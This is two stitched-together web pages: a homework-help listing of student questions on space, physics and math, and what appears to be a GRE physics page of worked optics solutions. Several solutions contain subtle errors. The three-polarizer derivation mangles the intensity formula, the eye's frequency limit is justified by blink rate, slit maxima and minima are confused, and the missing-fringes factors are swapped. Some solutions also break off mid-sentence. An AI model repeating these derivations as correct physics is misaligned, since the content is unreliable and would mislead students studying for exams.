why does an person in space craft orbiting earth experiance a feeling of weightless?
Tuesday, April 15, 2014 by zacaby
Planets- I Love Space!
why the outer planets did not lose the lighter gases in their atmospheres.?
Monday, April 14, 2014 by Chloé
Physics
A space probe is traveling in outer space with a momentum that has a magnitude of 7.84 x 107 kg·m/s. A retrorocket is fired to slow down the probe. It applies a force to the probe that has a magnitude of 1.29 x 106 N and a direction opposite to the probe's motion. It fires ...
Friday, April 11, 2014 by Anonymous
Physics
A space probe is traveling in outer space with a momentum that has a magnitude of 7.84 x 107 kg·m/s. A retrorocket is fired to slow down the probe. It applies a force to the probe that has a magnitude of 1.29 x 106 N and a direction opposite to the probe's motion. It fires ...
Thursday, April 10, 2014 by Elle
math
A large bicycle retailer collects data on the number of bicycles in each store compared to floor space of each store. The data is given in the table below. Number of Bicycles 60 56 208 52 70 55 Floor Space (sq ft) 1400 1140 3250 1100 1500 1280 a) Determine the equation of the ...
Thursday, April 10, 2014 by kelley
College Physics
An astronaut of mass 84.0 kg is taking a space walk to work on the International Space Station. Because of a malfunction with the booster rockets on his spacesuit, he finds himself drifting away from the station with a constant speed of 0.570 m/s. With the booster rockets no ...
Thursday, April 10, 2014 by Christian
Sentence Completion
Demonstrate your understanding of the Word Bank words by completing each sentence in the space provided. Word Bank: aerodynamics; hydraulic; pursue; improbable; derides; legacy; riveting; ruminative; adept; compelling 1. Aerodynamics affect flight performance, so airplanes ...
Thursday, April 10, 2014 by Victoria
math
how do you type up a spaceship in space
Wednesday, April 9, 2014 by Anonymous
An astronaut of mass 84.0 kg is taking a space walk to work on the International Space Station. Because of a malfunction with the booster rockets on his spacesuit, he finds himself drifting away from the station with a constant speed of 0.570 m/s. With the booster rockets no ...
Tuesday, April 8, 2014 by Christian
Physics
An astronaut of mass 84.0 kg is taking a space walk to work on the International Space Station. Because of a malfunction with the booster rockets on his spacesuit, he finds himself drifting away from the station with a constant speed of 0.570 m/s. With the booster rockets no ...
Tuesday, April 8, 2014 by Jason
Sentence Completion
Demonstrate your understanding of the Word Bank words by completing each sentence in the space below. Word Bank: obsessed, aesthetic, arbitrary 1. Because Scott McCloud really was obsessed with comics, he probably knew all there was to know about them. 2. McCloud's argument is...
Monday, April 7, 2014 by Victoria
math
a storage room measures 11.35 feet in length by 9.5 feet in width by 8.3 feet in height. it contains a box which is 4.25 feet in length 6.5 feet in width and 4.0 feet in height.how many cubic feet of storage space are left in the room rounded to the nearest cubic foot
Monday, April 7, 2014 by erika
Assign each letter and a blank space to a number as shown by the alphabet table. 0=_ 1=A 2=B 3=C 4=D 5=E 6=F 7=G 8=H 9=I 10=J 11=K 12=L 13=M 14=N 15=O 16=P 17=Q 18=R 19=S 20=T 21=U 22=V 23=W 24=X 25=Y 26=Z use matrix [1 -2] -3 7 and encode the phrase "One Question to go" o=15 ...
Monday, April 7, 2014 by Cassie
math-urgent
Sample space ={1,2,3,4,5} p(1)=0.1, p(2)=0.2 and p(3)=p(4)=0.05. Assume that A={1,3,5} and B={2,3,4}. Find p(5). Find p(A^c). I need help with this question. It is a probability question. please help.
Monday, April 7, 2014 by Temmick
physics
A cosmic-ray proton in interstellar space has an energy of 19.5 MeV and executes a circular orbit having a radius equal to that of Mars' orbit around the Sun (2.28 1011 m). What is the magnetic field in that region of space?
Sunday, April 6, 2014 by Anonymous
math
A rental agent is renting a space for \$7.50 a square foot. If you require a space 36 ft. by 16 ft., what will be the rental on that space?
Saturday, April 5, 2014 by Anonymous
Algebra 2
1.) According to the American College Test (ACT), results from the 2004 ACT testing found that students had a mean reading score of 21.3 and a standard deviation of 6.0. The scores are normally distributed. A student scores a 35. What percent of the data would contain that ...
Friday, April 4, 2014 by Lanie
Math
Each square represents 625 square feet, each line segment represents 25 feet. A galapagos tortoise must use 550 feet of fencing to enclose a space of 15,000.
Friday, April 4, 2014 by Anna
physics
A crate with a mass of 80 kg glides through a space station with a speed of 2.5 m/s. An astronaut speeds it up by pushing on it from behind with a force of 210 N, continually pushing with this force through a distance of 8 m. The astronaut moves around to the front of the ...
Thursday, April 3, 2014 by Anonymous
physics
Astronauts in space cannot weigh themselves by standing on a bathroom scale. Instead, they determine their mass by oscillating on a large spring. Supppose an astronaut attaches one end of a large spring to her belt and the other end to a hook on the wall of the space capsule. ...
Monday, March 31, 2014 by Hannah
Math
A glass box shaped like a rectangular prism has with 7 inches length 9 inches height 12 inches is being shipped in a larger box with whipped 10 inches length 10 inches in height 15 inches the space between the glass box on the shipping box will with styrofoam peanuts how many ...
Sunday, March 30, 2014 by Kahoho
Chemistry
The measured potential of the following cell was 0.1776 volts: Pb|Pb2+(??M)||Pb2+(1.0M)|Pb Calculate the electrode potential of the unknown half-cell(anode). Not sure how to approach this, considering the molarity is unknown. There isn't a lot of space on the page for the ...
Thursday, March 27, 2014 by Alex
Chemistry
How would you exactly start the first problem? My thermodynamic skills is a bit rusty. I am assuming I have to use ΔH°f under the given reaction..? But then..we barely covered ΔG° in class. Am I to use this equation, ΔG° = ΔH° - T ΔS°? Umm..can ...
Thursday, March 27, 2014 by Airin
Physical science
An astronaut on a space walk bumps the shuttle and starts moving away at a velocity of 0.02m/s. The astronaut's mass is 100kg. He takes a 1kg "safety weight" and shoves it away in exactly the direction of his motion at a speed of 6m/s. at what speed does the astronaut move ...
Wednesday, March 26, 2014 by Troy Stuart
Literature/Social Studies (Ms. Sue!)
The New Frontier" by John F. Kennedy. 1. What ideas does Kennedy express by quoting William Brandford? A: By quoting William Bradford, Kennedy expresses the idea that, despite great difficulties, man can overcome anything through their will and determination. 2. What reasons ...
Tuesday, March 25, 2014 by Anonymous
Literature/Social Studies
"The New Frontier" by John F. Kennedy. 1. What ideas does Kennedy express by quoting William Brandford? A: ? 2. What reasons does Kennedy offer for going to the moon? A: Kennedy offers reasons such as the task of going to the moon being difficult, the goal serving to organize ...
Tuesday, March 25, 2014 by Anonymous
HELP PRE-CALC ASAP
An experiment consists of selecting a number at random between 0 and 9 inclusive, and a letter of the English alphabet. What is the size of the sample space of this experiment? A) 35 B) 36 C) 52 D) 234 E) 260
Monday, March 24, 2014 by Anonymous
Math
An architect has allocated a rectangular space of 465ft^2 for square dining room and a 16ft wide kitchen. Find both the width of the square dining room and the length of the entire rectangular space.
Friday, March 21, 2014 by Pam
math
The area of a rectangular space is 128 square feet. a. Find all the possible pairs of whole number dimensions in feet. b. Explain which pair allows enough space for a car to park. c. If the length of the space is x feet, how would you describ e the width using the area and the...
Thursday, March 20, 2014 by Anonymous
Math
An architect has allocated a rectanglular space of 646ft^2 for a square dining room and a 15ft wide kitchen. Find both the width of the square dining room and the length of the entire rectangular space.
Thursday, March 20, 2014 by Pam
statistic
6. Which of the following represents the sample space for rolling a six-sided die and tossing a coin? (1 point) {1H, 2H, 3H, 4H, 5H, 6H, 1T, 2T, 3T, 4T, 5T, 6T} *{1, 2, 3, 4, 5, 6} {H, T} {1, 2, 3, 4, 5, 6, H, T}
Thursday, March 20, 2014 by TIKIMA
NEED SOMEONE TO RECHECK ANS *****HELP PLEASE HAS STAR BY MY ANSWER If P (A) = 0.2 and P (B) = 0.3 and A and B are disjoint, what is P (A or B)? (1 point) 0.00 0.06 0.10 0.44 *0.50 4. Given that you roll a fair six-sided die, what is the probability that you roll an odd number...
Thursday, March 20, 2014 by TIKIMA
Science
How many minutes are required for a radio signal to travel for Earth to a space station in Mars if the planet Mars is 7.83 x 10 to the 7th km from Earth?
Thursday, March 20, 2014 by Mark
Physics!
Consider someone in a rotating space habitat. The outward force felt by the person A.has no reaction counterpart B.is an interaction with Earth C.is a form of gravity D.is real in the traditional sense
Wednesday, March 19, 2014 by Anonymous
math***1questions***
1.B New flowers are being planted in acurcular flower bed with a 14-foot dimeter.if each flower requires 1 square foot of space,about how many flowers can be planted A.308 flowers B.154 flowers C.77 flowers D.66 flowers
Tuesday, March 18, 2014 by matt
grammar
In The Space Before Each of the Following items, place a C if the capitalization is correct, a zero (0) if it is incorrect. Then insert capitals where should be, and draw a line through capitals that should be small letters. 1.the Rocky Mountains i got C 2.my spanish course i ...
Tuesday, March 18, 2014 by Ryan
PRE-CALC
A number is selected at random from the set {2, 3, 4, … ,10}. Which event, by definition, covers the entire sample space of this experiment? A) The number is greater than 2. B) The number is not divisible by 5. C) The number is even or less than 12. D) The number is neither ...
Tuesday, March 18, 2014 by Shawna
PreCalc
A weekly census of the tree frog in a park is given week population 1 18 2 54 3 162 4 486 5 1458 6 4374 a. find the function of the form f(x)=Pa^x that describes the frog population at time x weeks. b. what's the growth factor in this situation? (that is, by waht number must ...
Monday, March 17, 2014 by Andy G
Linear Algebra
Fnd the left null space of matrix A = [5 -3 1] [-2 4 -6] [11 -8 5]
Monday, March 17, 2014 by Sharon
PHS 105
At a particular instant, two asteroids in inter-stellar space are a distance r = 20 km apart. Asteroid 2 has 10 times the mass of asteroid 1, m2 = 10 m1. 1. If the acceleration of the asteroid 1 toward the asteroid 2 is 1.0 m/s2 , what is the acceleration of the asteroid 2?
Monday, March 17, 2014 by Mel
Math
An architect has allocated a rectangular space of 264ft^2 for a square dining room and a 10ft wide kitchen. What is both the width of the square dining room and the length of entire space.
Saturday, March 15, 2014 by pam
physics
An astronaut shoots you in space given that the bullet is weightless, could it injure you?
Friday, March 14, 2014 by Swastika
physics
Calculate the force needed to accelerate a 1 kg ball by 3 m/s: a. in space along way from the earth. b. on the ground in a direction horizontal to the ground. c. on the earth vertically upward.
Friday, March 14, 2014 by Swastika
a
Victoria wants to plant a vegetable garden in the shape of a square. She has a space allocated in her backyard that will accommodate 175 square feet. Using the drawing below, use the FOIL method to find the polynomial that represents the area of the square. If x=6, will she ...
Wednesday, March 12, 2014 by WillyB
1. how does earth's rotation cause day and night? (1pt) As the earth rotates toward the east the sun appears to rise in the east and set in the west. 2.Roughly how many times does the earth rotate during each complete revolution? (1pt) 365. 3. Saturn's day is roughly 10 hours ...
Wednesday, March 12, 2014 by Queen elsa
physics
A solid lead sphere of radius 10 m (about 66 ft across!) has a mass of about 57 million kg. If two of these spheres are floating in deep space with their centers 20 m apart, the gravitational attraction between the spheres is only 540 N (about 120 lb). How large would this ...
Tuesday, March 11, 2014 by anonymous
math
type of cd/dvd- number ---------------------------------------------------------- rock CD 26 ---------------------------------------------------------- pop CD 17 ---------------------------------------------------------- comedy CD 11...
Monday, March 10, 2014 by cecrett
Physics
A rocket is fired in deep space, where gravity and drag forces are 0. If The rocket has in initial mass of 6000kg and eject gas at a relative speed of 2000m/s, how much gas must it eject in the first second (1s) to have an inital acceleration of 25m/s?
Monday, March 10, 2014 by Smalls
algebra
. Victoria wants to plant a vegetable garden in the shape of a square. She has a space allocated in her backyard that will accommodate 175 square feet. Using the drawing below, use the FOIL method to find the polynomial that represents the area of the square. If x=6, will she ...
Sunday, March 9, 2014 by billy
science
A distant spaceship carrying a red headlight, emitting light with wavelength 600nm, is heading towards the earth. Observers on the earth detect the light from the headlight as ultraviolet light with wavelength 200nm. What is the velocity of the spaceship? b) As the space ship ...
Sunday, March 9, 2014 by Relativity quest. help pls
Physics
A spaceship with a mass of 4.60 10^4 kg is traveling at 6.30 10^3 m/s relative to a space station. What mass will the ship have after it fires its engines in order to reach a speed of 7.84 10^3 m/s? Assume an exhaust velocity of 4.86 10^3 m/s.
Wednesday, March 5, 2014 by Anonymous
Earth, Space and Science
8. A geologist is studying a section of sedimentary rock layers that have been newly exposed by a landslide. Based on what principle, the geologist would assume that the layers increased in age as they looked at them from top to bottom. A. unitarianism B. Principle of ...
Wednesday, March 5, 2014 by Cassie
chemistry
which of the following summarizes Charles' Law? A. as temperature decreases, the gas particles slow down and take up less space B. as temperature increases, the gas particles slow down and take up less space C. when pressure decreases, the gas particles are allowed to spread ...
Tuesday, March 4, 2014 by Brianna
# 2. When __________ forces act on an object, they cause the object to move. •Balanced •Unbalanced (?CORRECT?, MY ANSWER) •Friction •Net # 4. Which of the following terms BEST describes the scenario below? A meteor moving through outer space continues to move on the ...
Monday, March 3, 2014 by Mindy
physics
The gravitational force between two metal spheres with the same masses are in outer space is 60 N. How large would this force be if the masses of each sphere were cut to a fourth of its original value? F_{attractive} =_____________ N (no rounding up)
Monday, March 3, 2014 by Melissa
physics
Two spacecraft in outer space attract each other with a force of 45 N. What would the attractive force be if they were \frac{1}{5} as far apart? F_{attractive} = _____________N (no rounding up)
Monday, March 3, 2014 by Melissa
science HELP ASAP!!!!!!!
12. How do the cherries on a cherry tree help the plant reproduce? (1 point) Cherries develop into seeds, which are young, undeveloped plants. Animals eat the cherries, which helps disperse the plant’s seeds. Pollen inside the cherries fertilizes ovules, which produce seeds...
Monday, March 3, 2014 by annonomys
science
the astronauts can live for long periods of time in a space station? my answers is yes.
Friday, February 28, 2014 by Anonymous
Lang. Arts
In the sentence, "She is interested in space exploration." Is the verb just "is" or is it "is interested"? Thanks...
Thursday, February 27, 2014 by Brandi
Chemistry
A sample of oxygen gas at 295 kPa takes up 456 L of space at standard temperature (the “T” in STP). What is the new volume when the pressure is lowered to standard pressure (the “P” in STP)?
Wednesday, February 26, 2014 by Bianca
Algebra
Victoria wants to plant a vegetable garden in the shape of a square. She has a space allocated in her backyard that will accommodate 175 square feet. Using the drawing below, use the FOIL method to find the polynomial that represents the area of the square. If x=6, will she ...
Tuesday, February 25, 2014 by Teresa
Math
Victoria wants to plant a vegetable garden in the shape of a square. She has a space allocated in her backyard that will accommodate 175 square feet. Using the drawing below, use the FOIL method to find the polynomial that represents the area of the square. If x=6, will she ...
Tuesday, February 25, 2014 by Teresa | 2017-02-26 01:53:02 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3657703995704651, "perplexity": 1540.6636453862877}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-09/segments/1487501171932.64/warc/CC-MAIN-20170219104611-00586-ip-10-171-10-108.ec2.internal.warc.gz"} |
http://grephysics.net/ans/type/Optics | GR 8677927796770177 | # Login | Register
All Solutions of Type: Optics
0 Click here to jump to the problem! GR8677 #13 Optics$\Rightarrow$}Interference Fact: The human eye can only see things in motion up to about 25 Hz. (One can approximate this knowing that the human eye blinks once every three seconds on average.) Now, the problem mentions that the relative phase is varied, at a constant frequency of 500 Hz, which is much greater than the maximum frequency of the human eye. Interference is produced as long as the sources are coherent, and the sources are coherent as long as there's a constant relation between relative phase in time. (A) The frequency of the phase change has nothing to do with the color of light. (B) Interference pattern is different for $\pi$ and $2\pi$ phase changes... (C) Interference can exist for other phase differences. (D) One can have interference even with polychromatic sources. (E) The interference pattern shifts position (since the source remains coherent from the constant relation with relative phase to time) at a rate too fast for the human eye, as explained above. Click here to jump to the problem!
1 Click here to jump to the problem! GR8677 #58 Optics$\Rightarrow$}Holograms A hologram is produced from interference of light. Interference of two-beams (one going directly to the film, the other bouncing off the object) produced by a beam-splitter allows the film to record both intensity and relative phase of the light at each point. Intensity (to wit: $I\propto E_0^2 \langle \sin^2 \omega t \rangle=E_0^2/2$) does not depend on angular frequency, but only on phase and amplitude. Thus, choice (B) is right. Click here to jump to the problem!
2 Click here to jump to the problem! GR8677 #73 Optics$\Rightarrow$}Thin film In order for the thin film layer to be non-reflecting, it must cancel the reflected wavelengths---as in a destructive interference. The change in wavelengths is $\Delta \lambda = \lambda - \lambda/2 = \lambda /2$, since the wave changes phase by $\pi$ at the interface between air and the coating, and changes phase again at the second interface between coating and glass. (Assume that $n_{air} < n_{coating} < n_{glass}$.) Destructive interference is thus given by a half-integer wavelength change $m \lambda /2$, where the smallest change is $\lambda/2$. The change in wavelength occurs over twice the thickness $t$ of the coating, thus $2t = \Delta \lambda = \lambda/2. $ This implies that $t =\lambda/4$, as in choice (A). Click here to jump to the problem!
3 Click here to jump to the problem! GR8677 #74 Optics$\Rightarrow$}Polarizers One might remember the result from optics that the maximum fraction incident between three polarizers with the first and third orthogonal to each other is $1/8$. Or, if not, one can derive it rather quickly: Suppose the incident intensity of the light (before going through any polarizers) is $I$. Light going through the first polarizer has the intensity $I_1=I/2$. Light going through the second polarizer has the intensity $I_2=I_1 \cos^2 \phi =I/2 \cos^2 \phi$. ($\phi$ is the angle between the polarizer and the light.) Light going through the third polarizer has the intensity $I_3=I_2 \cos^2 \theta = I/2 \cos^2 \phi \cos^2 \theta$. ($\theta$ is the angle between the polarizer and the light.) In order for the intensity $I_3$ to be max, one can take the derivative with respect to either $\theta$ or $\phi$. Knowing a priori that the first and third polarizers are orthogonal (at 90 degree angles) to each other, one can rewrite either $\phi$ or $\theta$ in terms of the other. So, $\phi = \pi/2 - \theta$, and thus, $I_3 = I/2 \cos^2 (\pi/2 - \theta) \cos^2 (\theta)= I/2 \sin^2\theta \cos^2\theta = I/4 \sin(2\theta).$ The the derivative to find the maximum, $\frac{d I_3}{d \theta}=I/2\cos(2\theta)=0$. One finds that $2\theta = \pi/2 \Rightarrow \theta = \pi/4$. This implies that Plug in $\theta$ to get $I_3=1/8$. Click here to jump to the problem!
4 Click here to jump to the problem! GR8677 #91 Optics$\Rightarrow$}Bragg Reflection Bragg diffraction is basically the wavelength change of a wave impinging two adjacent layers of the crystal. More specifically, it relates the wavelength difference of the incident wave on the top layer to that of the reflected wave on the lower layer. The distance between layers (lattice planes", in Solid-State-Speak) is $d$, and the angle of incidence is $\theta$. The change in wavelength is thus a simple geometry problem, the result being the celebrated Bragg Reflection Relation, $2d \sin \theta = n \lambda, $ where $n$ corresponds to the order of the reflection. The problem supplies the following numbers $\begin{eqnarray} n=1\\ d=3E-10\\ \theta = 30^\circ\\ m_e\approx 10E-31, \end{eqnarray}$ and if one recalls the de Broglie relation, $p = h/\lambda$, one has, in general, $n\lambda = nh/{m v} = 2d \sin\theta$. Plugging in some numbers, one finds that $\frac{6E-34}{10E-31v}=3E-10$, since $\sin 30^\circ = 1/2$, and where the approximation scheme to battle the no-calculators-allow requirement is shown. Thus, one has $v=0.25E7$, which is very close to choice (D). The problem . Click here to jump to the problem!
5 Click here to jump to the problem! GR8677 #100 Optics$\Rightarrow$}Diffraction The key equation involved is the (Fraunhoffer) diffraction equation, $\sin \theta = \lambda/d$, where the obvious quantities are used. For small angle, the equation simplifies to $\theta \approx \lambda/d$. The blur would be due to both the size of the hole and the diffraction. The arclength of the diffraction is approximated by $d_2=D(2\theta) = 2D\lambda/d$, where the factor of 2 comes from the fact that the arclength angle is symmetrical about the diffraction axis, thus twice the diffraction angle. Define a blur equation $D'=d+d_2=d+2D\lambda/d$. Take the first derivative, with respect to the pinhole diameter, set it to 0, to get $dD'/dd = 1-2D\lambda/d^2=0\Rightarrow d=\sqrt{2D\lambda}\approx \sqrt{D\lambda}$, as in choice (A). \par This solution is due to: \begin{verbatim} http://www.exo.net/~pauld/summer_institute /summer_day3eye_and_brain/pinhole_optimum_size.html \end{verbatim} Click here to jump to the problem!
6 Click here to jump to the problem! GR8677 #54 Optics$\Rightarrow$}Field Trajectory The problem gives equi-amplitude, thus the field becomes $\vec{E}=Ee^{i(kz-\omega t)}\hat{x} + E e^{i(kz-\omega t + \pi)}\hat{y}$. Taking the real part, (applying Euler's Theorem, to wit: $e^{i\theta}=\cos\theta + i\sin\theta$) one has $\vec{E}=E\cos(kz-\omega t)\hat{x} + E \cos(kz-\omega t + \pi)\hat{y}$. Apply the trig identity $\cos(\alpha \pm \beta)=\cos \alpha \cos \beta \mp \sin\alpha\sin\beta$ to make the field argument equi-phase, $\vec{E}=E\cos(kz-\omega t)\hat{x} - E \cos(kz-\omega t)\hat{y}$. Looking down from the z-axis, one has $z=0\Rightarrow$ $\vec{E}=E\cos(\omega t)\hat{x} - E \cos(\omega t)\hat{y}$. Make a table of a few values of t and E, $\begin{eqnarray} \omega t & \Rightarrow & (\cos(\omega t),-\cos(\omega t))\\ 0 & \Rightarrow & (1,-1)\\ \pi/6 &\Rightarrow& \frac{1}{2}(\sqrt{3},-\sqrt{3})\\ \pi/4 &\Rightarrow& \frac{1}{2}(\sqrt{2},-\sqrt{2}), \end{eqnarray}$ and one deduces that the points plot out a diagonal line at $135^\circ$ to the x-axis, as in choice (B). Click here to jump to the problem!
7 Click here to jump to the problem! GR8677 #55 Optics$\Rightarrow$}Polarizations After the wave has been de-coupled into separate directions, the intensity adds separately. That is, the intensity of the wave split by the x-polarizer is $I_1=|E_1|^2$, while that of the wave split by the y-polarizer is $I_2=|E_2|^2$. Add the two intensities to get choice (A). Click here to jump to the problem!
8 Click here to jump to the problem! GR8677 #56 Optics$\Rightarrow$}Total Internal Reflections Total internal reflection is when one has a beam of light having all of the incident wave reflected. Going through a bit of formalism in electromagnetism one can derive Snell's Law for Total Internal Reflection, $n_{inside} \sin\theta = n_{outside},$ where $n_{inside}=1.33$, and one assumes that the surface has $n_{outside}=1$ for air. One must solve the equation $\theta = \sin^{-1}(1/1.33)$. One can immediately throw out choices (A) and (E). From the unit circle, one recalls that $\sin(30^{\deg})=1/2$ and $\sin(60^{\deg})=1.7/2=0.85$. Since $1/1.33 \approx 0.7$, one deduces that the angle must be choice (C). Click here to jump to the problem!
9 Click here to jump to the problem! GR8677 #57 Optics$\Rightarrow$}Diffractions The single slit diffraction formula is $d \sin \theta = \lambda m$, where one has integer m for maxima and half-integers for minima. (Opposite to single-slit interference.) Given $m=1$, $\theta = 4E-3 rad$, $\lambda = 400E-9 m$, and making the approximation $\sin \theta \approx \theta$ for small angles, one has the following equation for d, $d\approx \frac{\lambda m}{\theta} = \frac{4E-7}{4E-3}=1E-4$, as in choice (C). Click here to jump to the problem!
10 Click here to jump to the problem! GR8677 #58 Optics$\Rightarrow$}Lensmaker Equations Although this problem mentions lasers, no knowledge of quantum mechanics or even lasers is required. Instead, the problem can be solved as a simple geometric optics problem using the lensmaker's equation, $1/d_i+1/d_o=1/f$, relating the distances of the object, image, and the focus. Since there are two convex lenses, one can treat the set-up as a telescope. The lens closest to the laser is the objective (with focus $f_o$) and the one closest to the bigger-radius well-collimated beam is the eyepiece $f_e$. The laser-light comes in from $d_{o1}=\infty$, and thus one has $d_{i1}=f_o$, i.e., the image forms at the focal point. Using the telescope equation, one has $M = f_o/f_e = 10 \Rightarrow f_e=f_o/10=15cm$, since one wants a final magnification of 10 (to wit: input beam is 1mm, output beam is 10mm). This narrows down the choices to just (D) and (E). Since the distance between lenses for a telescope (with incoming light coming from infinity) is given by $d_{i1}+d_{o2}=f_o+f_e=16.5$, which relates the distance of the image from the first lens to the distance of the object from the second lens, one arrives at choice (E). (Correction due to user tachyon.) Click here to jump to the problem!
11 Click here to jump to the problem! GR8677 #82 Optics$\Rightarrow$}Thin films For a thin film of thickness t, one can easily find the condition for interference phenomenon. Since the light has to travel approximately $2t$ to get back to the original incidence interface, one has $2t = m\lambda$. However, since the light changes phase at the interface between air and glass (since glass has a higher index of refraction than air), the condition for constructive interference becomes $2t=m\lambda/2$, where $m \in Odd$. One can create a table to determine the values of $t=m\lambda/4$. $\begin{eqnarray} m & \Rightarrow & t\\ 1 & \Rightarrow & \lambda/4 = 122nm\\ 3 & \Rightarrow & 3\lambda/4 = 366nm\\ 5 & \Rightarrow & 5\lambda/4 = 610nm, \end{eqnarray}$ and so forth... One thus finds that choice (E) is correct. Click here to jump to the problem!
12 Click here to jump to the problem! GR8677 #11 Optics$\Rightarrow$}Lensmaker Formula The lensmaker's formula is $1/d_o+1/d_i=1/f$. For an image on the opposite side of the light, the image distance is taken as positive. The distance between the object and the first lens is $d_{1o}=40$. $f_1=20$. The lensmaker's formula gives $1/d_{1i}=1/f_1-1/d_{1o}=1/40$. Thus, the image is 40 cm behind the first lens. The first image forms the object for the second lens. The distance of the first image to the second lens is $40-30=10cm$. Since this image is behind the lens (on the other side of the incident geometric light), the convention in the lensmaker's formula takes this as a negative distance. One has, $1/d_{i2}=1/f_2 - 1/d_{o2}=1/10+1/10=2/10=1/5$. Thus, the second image is 5 cm to the right of the second lens. Click here to jump to the problem!
13 Click here to jump to the problem! GR8677 #12 Optics$\Rightarrow$}Mirror Formula The mirror formula is identical in form to the lensmaker's formula in Problem 11. The sign convention varies for the image distance. If an image distance is on the inside of the mirror, then it is taken as negative. Thus, $1/f=1/d_o+1/d_i\Rightarrow 1/d_i=1/f-1/d_o$. From the diagram, one deduces that $d_o. Thus, one finds that $d_i$ has to be negative. The virtual image has to be inside the mirror. Only choice (V) shows this. Click here to jump to the problem!
14 Click here to jump to the problem! GR8677 #13 Optics$\Rightarrow$}Aperture Formula The circular aperture formula (a.k.a. Rayleigh Criterion) is given by $\theta = 1.22 \lambda / D$. Plug in the given quantities to get that. (It's a nice formula to memorize, as it's used as common sense in a variety of engineering fields, as well as in remote-sensing, such as satellite-communications.) Click here to jump to the problem!
15 Click here to jump to the problem! GR8677 #51 Optics$\Rightarrow$}Polarizers When one has three polarizers with the first oriented at a 90 degree angle to the last, the maximum light transmitted is $I_0/8$. In this case, the intensity of light transmitted through the first filter is $I_0/2$, where $I_0$ is the incident light. (Half the light has been canceled by the polarization.) The intensity of the light transmitted through the second filter is $I_2 = |I_1 \cos 45^\circ|^2 = I_0/4$. The intensity of the light transmitted through the third filter is $I_3 = |I_2 \cos 45^\circ|^2 = I_0/8$. This is choice (B). Click here to jump to the problem!
16 Click here to jump to the problem! GR8677 #69 Optics$\Rightarrow$}Thin Films The incident wavelength changes phase at the air-oil boundary and at the oil-glass boundary. Thus, integer wavelengths produce constructive interference. The incident wavelength travels through $2t$. Thus, $2t = \lambda \Rightarrow \lambda \approx 240 nm$. The closest thickness is 200 nm, so choose choice (B). Additionally, if one wants a better approximation, one can use the equation $v=c/n=\lambda f\Rightarrow \lambda_{'}=\lambda_0/n$ to determine the wavelength of the beam in oil. Thus, one arrives at the exact answer 200nm. (Addition due to user E123.) Click here to jump to the problem!
17 Click here to jump to the problem! GR8677 #70 Optics$\Rightarrow$}Interference The single-slit interference equation for bright fringes is given by $m\lambda \propto d \sin \theta \approx d \theta$ (for small angles), where d is the width of the slit and m is an integer. Since $c=\lambda \nu$, one can relate the above equation to frequency to get $m c/f \propto d \theta$. Increasing frequency would decrease the angle. Thus, the fringes would get closer together. Increasing the frequency by a factor of 2 would decrease the separation by 2, as in choice (B). Click here to jump to the problem!
18 Click here to jump to the problem! GR8677 #97 Optics$\Rightarrow$}Refraction From Snell's Law, one obtains $\sin\theta = n(\lambda) \sin\theta^{'}$, since the index of refraction of air is about 1. Now, differentiate both sides with respect to $\lambda$. $\begin{eqnarray} \frac{d}{d\lambda}\sin\theta &=& \frac{d}{d\lambda}(n(\lambda) \sin\theta^{'})\\ 0&=& \frac{dn(\lambda)}{d\lambda} \sin\theta^{'}+(n(\lambda) \cos\theta^{'}) \frac{d\theta^{'}}{d\lambda}\\ \delta \theta^{'} &=& |\tan\theta^{'}/n \frac{dn(\lambda)}{d\lambda} \delta \lambda|, \end{eqnarray}$ which gives choice (E) to be the angular spread. This solution is due to ShyamSunder Regunathan. Click here to jump to the problem!
19 Click here to jump to the problem! GR8677 #100 Optics$\Rightarrow$}Interferometer This is a nice problem. An interferometer, like its name suggests, has to do with interference. Namely, it splits light-beams through the beam-splitters (BS) half and half, then recombines them at the end---the end result shows interference which varies depending on whether the moveable mirror is placed a quarter of a wavelength away (so that the path difference, which is twice that, is half a wavelength). A fringeshift occurs whenever $d = \lambda$. Thus $m = 2d/\lambda$, where m is the number of fringes and $\lambda$ is the wavelength. Using the information for the red beam, one can find $d=m\lambda/2=85865 \times 632.82/2$. Applying the same equation for the green beam, one finds that $\lambda = 2d/m = 85865 \times 632.82/100000 \approx 540nm$, as in choice (B). Click here to jump to the problem!
20 Click here to jump to the problem! GR8677 #20 Optics$\Rightarrow$}Missing Fringes Missing fringes in a double-slit interference experiment results when diffraction minima cancel interference maxima. From a bit of phasor analysis, one can derive the diffraction factor $\beta/2=\pi w/\lambda \sin\theta$ and the interference factor $\delta/2=\pi d/\lambda \sin\theta$, where w is the width of the slits and d is the separation (taken from slit centers). The angles belong in the intensity equation given by $I \propto \sin(\beta/2)^2 \cos(\delta/2)^2$. Thus, the condition for a double-slit diffraction minimum is given by $\delta/2=m_d\pi=\pi w/\lambda\sin\theta \Rightarrow m_d\lambda = w \sin\theta$. Also, the condition for interference maximum is given by $\beta/2=m_i\pi=\pi d/\lambda \sin\theta \Rightarrow m_i\lambda = d\sin\theta$. Now, one needs to find the choice that allows for an integer $m_d$. This immediately eliminates choices (A) and (B). But, this leaves choices (C), (D), and (E). Among the remaining choices, there is only one choice that allows for slits that are smaller than the separation. This is choice (D). Take it. Click here to jump to the problem!
